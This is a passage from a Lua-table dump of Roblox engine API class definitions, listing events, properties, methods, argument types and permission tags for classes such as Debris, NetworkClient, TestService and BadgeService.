 ClassName = &quot;Seat&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Disabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 PlayerGui = {
 Inherits = &quot;BasePlayerGui&quot;,
 Events = {
 },
 ClassName = &quot;PlayerGui&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 Debris = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Debris&quot;,
 Callbacks = {
 },
 Properties = {
 {
 deprecated = true,
 Type = &quot;int&quot;,
 Name = &quot;MaxItems&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;item&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;lifetime&quot;,
 DefaultValue = &quot;10&quot;
 }
 },
 Name = &quot;AddItem&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetLegacyMaxItems&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;item&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;lifetime&quot;,
 DefaultValue = &quot;10&quot;
 }
 },
 Name = &quot;addItem&quot;,
 deprecated = true
 }
 }
 },
 NetworkClient = {
 Inherits = &quot;NetworkPeer&quot;,
 Events = {
 {
 Name = &quot;ConnectionAccepted&quot;,
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;replicator&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;ConnectionFailed&quot;,
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;code&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;reason&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 Name = &quot;ConnectionRejected&quot;,
 Arguments = {
 {
 Name = &quot;peer&quot;,
 Type = &quot;string&quot;
 }
 }
 }
 },
 ClassName = &quot;NetworkClient&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Ticket&quot;,
 Type = &quot;string&quot;
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;blockDuration&quot;,
 DefaultValue = &quot;3000&quot;
 }
 },
 Name = &quot;Disconnect&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;server&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;serverPort&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;clientPort&quot;,
 DefaultValue = &quot;0&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;threadSleepTime&quot;,
 DefaultValue = &quot;30&quot;
 }
 },
 Name = &quot;PlayerConnect&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Vector3Value = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Vector3&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;Vector3Value&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Flag = {
 Inherits = &quot;Tool&quot;,
 Events = {
 },
 ClassName = &quot;Flag&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 UserInputService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 },
 Name = &quot;JumpRequest&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;touch&quot;,
 Type = &quot;InputObject&quot;
 }
 },
 Name = &quot;TouchEnded&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 }
 },
 Name = &quot;TouchLongPress&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;touch&quot;,
 Type = &quot;InputObject&quot;
 }
 },
 Name = &quot;TouchMoved&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;scale&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;velocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;TouchPinch&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;rotation&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;velocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;TouchRotate&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;touch&quot;,
 Type = &quot;InputObject&quot;
 }
 },
 Name = &quot;TouchStarted&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;swipeDirection&quot;,
 Type = &quot;SwipeDirection&quot;
 }
 },
 Name = &quot;TouchSwipe&quot;,
 RobloxSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 }
 },
 Name = &quot;TouchTap&quot;,
 RobloxSecurity = true
 }
 },
 ClassName = &quot;UserInputService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;GamepadEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;KeyboardEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;MouseEnabled&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TouchControlsEnabled&quot;,
 RobloxPlaceSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TouchEnabled&quot;,
 readonly = true
 }
 },
 Methods = {
 }
 },
 TweenService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TweenService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BindableEvent = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Event&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 }
 }
 },
 ClassName = &quot;BindableEvent&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;arguments&quot;,
 Type = &quot;Tuple&quot;
 }
 },
 Name = &quot;Fire&quot;
 }
 }
 },
 GuiBase3d = {
 Inherits = &quot;GuiBase&quot;,
 Events = {
 },
 ClassName = &quot;GuiBase3d&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Color&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;Transparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Visible&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 AnimationTrack = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;KeyframeReached&quot;,
 Arguments = {
 {
 Name = &quot;keyframeName&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 },
 Name = &quot;Stopped&quot;
 }
 },
 ClassName = &quot;AnimationTrack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;speed&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;AdjustSpeed&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;weight&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;fadeTime&quot;,
 DefaultValue = &quot;0.100000001&quot;
 }
 },
 Name = &quot;AdjustWeight&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;fadeTime&quot;,
 DefaultValue = &quot;0.100000001&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;weight&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;speed&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;Play&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;float&quot;,
 Name = &quot;fadeTime&quot;,
 DefaultValue = &quot;0.100000001&quot;
 }
 },
 Name = &quot;Stop&quot;
 }
 }
 },
 UserSettings = {
 Inherits = &quot;GenericSettings&quot;,
 Events = {
 },
 ClassName = &quot;UserSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Reset&quot;
 }
 }
 },
 TestService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ServerCollectConditionalResult&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;ServerCollectResult&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;script&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;line&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;TestService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AutoRuns&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ErrorCount&quot;,
 readonly = true
 },
 {
 Name = &quot;Is30FpsThrottleEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsPhysicsEnvironmentalThrottled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsSleepAllowed&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;NumberOfPlayers&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;TestCount&quot;,
 readonly = true
 },
 {
 Name = &quot;Timeout&quot;,
 Type = &quot;double&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;WarnCount&quot;,
 readonly = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Check&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Checkpoint&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;DoCommand&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Done&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Error&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Fail&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetCommandNames&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;IsCommandChecked&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;IsCommandEnabled&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Message&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Require&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;condition&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;description&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Instance&quot;,
 Name = &quot;source&quot;,
 DefaultValue = &quot;nil&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;line&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;Warn&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Run&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Button = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Click&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Button&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;active&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetActive&quot;,
 LocalUserSecurity = true
 }
 }
 },
 TeleportService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TeleportService&quot;,
 Callbacks = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;spawnName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ConfirmationCallback&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ErrorCallback&quot;,
 RobloxScriptSecurity = true
 }
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;Teleport&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;TeleportCancel&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;spawnName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TeleportImpl&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;spawnName&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TeleportToSpawnByName&quot;
 }
 }
 },
 PlayerHUD = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;PlayerHUD&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Backpack = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;Backpack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Teams = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Teams&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetTeams&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;RebalanceTeams&quot;
 }
 }
 },
 PhysicsService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PhysicsService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 NetworkMarker = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Received&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;NetworkMarker&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 CustomEventReceiver = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;EventConnected&quot;,
 Arguments = {
 {
 Name = &quot;event&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;EventDisconnected&quot;,
 Arguments = {
 {
 Name = &quot;event&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;SourceValueChanged&quot;,
 Arguments = {
 {
 Name = &quot;newValue&quot;,
 Type = &quot;float&quot;
 }
 }
 }
 },
 ClassName = &quot;CustomEventReceiver&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Source&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 },
 Name = &quot;GetCurrentValue&quot;
 }
 }
 },
 TaskScheduler = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;TaskScheduler&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AreArbitersThrottled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Concurrency&quot;,
 Type = &quot;ConcurrencyModel&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;NumRunningJobs&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;NumSleepingJobs&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;NumWaitingJobs&quot;,
 readonly = true
 },
 {
 Name = &quot;PriorityMethod&quot;,
 Type = &quot;PriorityMethod&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;SchedulerDutyCycle&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;SchedulerRate&quot;,
 readonly = true
 },
 {
 Name = &quot;SleepAdjustMethod&quot;,
 Type = &quot;SleepAdjustMethod&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;ThreadAffinity&quot;,
 readonly = true
 },
 {
 Name = &quot;ThreadPoolConfig&quot;,
 Type = &quot;ThreadPoolConfig&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;ThreadPoolSize&quot;,
 readonly = true
 },
 {
 Name = &quot;ThrottledJobSleepTime&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;exclusive&quot;,
 DefaultValue = &quot;true&quot;
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;fps&quot;,
 DefaultValue = &quot;30&quot;
 }
 },
 Name = &quot;AddDummyJob&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;timeSlice&quot;,
 Type = &quot;double&quot;
 },
 {
 Name = &quot;numShare&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetThreadShare&quot;,
 deprecated = true,
 LocalUserSecurity = true
 }
 }
 },
 BasePlayerGui = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;BasePlayerGui&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 LuaWebService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;LuaWebService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 StudioTool = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Activated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Deactivated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Equipped&quot;,
 Arguments = {
 {
 Name = &quot;mouse&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Unequipped&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;StudioTool&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Methods = {
 }
 },
 StringValue = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;Changed&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 }
 },
 {
 deprecated = true,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;changed&quot;
 }
 },
 ClassName = &quot;StringValue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Value&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 RunningAverageItemInt = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;RunningAverageItemInt&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Sky = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Sky&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CelestialBodiesShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;SkyboxBk&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxDn&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxFt&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxLf&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxRt&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;SkyboxUp&quot;,
 Type = &quot;Content&quot;
 },
 {
 Name = &quot;StarCount&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 }
 },
 BadgeService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;BadgeAwarded&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;BadgeService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAwardBadgeUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetHasBadgeCooldown&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetHasBadgeUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetIsBadgeDisabledUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetIsBadgeLegalUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetPlaceId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;AwardBadge&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsDisabled&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;IsLegal&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;badgeId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;UserHasBadge&quot;
 }
 }
 },
 ProfilingItem = {
 Inherits = &quot;StatsItem&quot;,
 Events = {
 },
 ClassName = &quot;ProfilingItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Type = &quot;double&quot;,
 Name = &quot;window&quot;,
 DefaultValue = &quot;0&quot;
 }
 },
 Name = &quot;GetTimes&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Type = &quot;int&quot;,
 Name = &quot;frames&quot;,
 DefaultValue = &quot;1&quot;
 }
 },
 Name = &quot;GetTimesForFrames&quot;,
 LocalUserSecurity = true
 }
 }
 },
 StatsItem = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;StatsItem&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 },
 Name = &quot;GetValue&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetValueString&quot;,
 LocalUserSecurity = true
 }
 }
 },
 GuiService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Arguments = {
 },
 Name = &quot;EscapeKeyPressed&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;modifiers&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;KeyPressed&quot;,
 RobloxScriptSecurity = true
 },
 {
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;SpecialKey&quot;
 },
 {
 Name = &quot;modifiers&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SpecialKeyPressed&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;GuiService&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsModalDialog&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;IsWindows&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;ShowLegacyPlayerList&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;UseLuaChat&quot;,
 readonly = true
 },
 {
 Type = &quot;double&quot;,
 Name = &quot;Version&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;dialog&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;centerDialogType&quot;,
 Type = &quot;CenterDialogType&quot;
 },
 {
 Name = &quot;showFunction&quot;,
 Type = &quot;Function&quot;
 },
 {
 Name = &quot;hideFunction&quot;,
 Type = &quot;Function&quot;
 }
 },
 Name = &quot;AddCenterDialog&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;AddKey&quot;,
